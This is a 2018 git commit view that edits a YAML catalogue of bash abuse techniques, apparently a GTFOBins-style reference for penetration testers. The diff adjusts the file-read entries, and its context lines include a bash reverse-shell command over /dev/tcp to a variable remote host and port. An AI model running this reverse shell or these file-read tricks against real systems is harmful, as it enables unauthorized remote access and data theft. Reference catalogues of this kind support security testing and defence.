Fix bash file read

This commit is contained in:
Andrea Cardaci 2018-06-11 13:11:47 +02:00
parent 7660674537
commit 3b59c85656

View File

@ -41,14 +41,10 @@ functions:
export RPORT=12345 export RPORT=12345
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1' bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
file-read: file-read:
- description: It trims trailing newlines. - description: It trims trailing newlines and it's not binary-safe.
code: | code: |
export LFILE=file_to_read export LFILE=file_to_read
bash -c 'echo "$(<$LFILE)"' bash -c 'echo "$(<$LFILE)"'
- description: It trims trailing newlines.
code: |
export LFILE=file_to_read
bash -c $'read -r -d \x04 < "$LFILE"; echo "$REPLY"'
file-write: file-write:
- code: | - code: |
export LFILE=file_to_write export LFILE=file_to_write